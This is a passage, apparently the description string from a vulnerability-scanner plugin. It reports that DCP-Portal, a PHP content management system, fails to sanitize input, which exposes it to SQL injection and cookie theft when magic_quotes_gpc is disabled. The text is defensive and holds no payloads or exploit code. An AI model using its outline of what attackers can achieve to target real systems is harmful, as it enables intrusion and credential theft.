"The remote host is running DCP-Portal, a content management system
powered by PHP. 

The version of DCP-Portal installed on the remote host fails to
sanitize user-supplied input to many of its parameters before using
it, either in database queries or dynamic web page generation.  An
attacker may be able to exploit these issues to manipulate such
queries to, say, uncover the admin password, launch attacks against
the underlying database, and steal authentication cookies.  Successful
exploitation of the SQL injection flaws requires that PHP's
'magic_quotes_gpc' setting be disabled." );
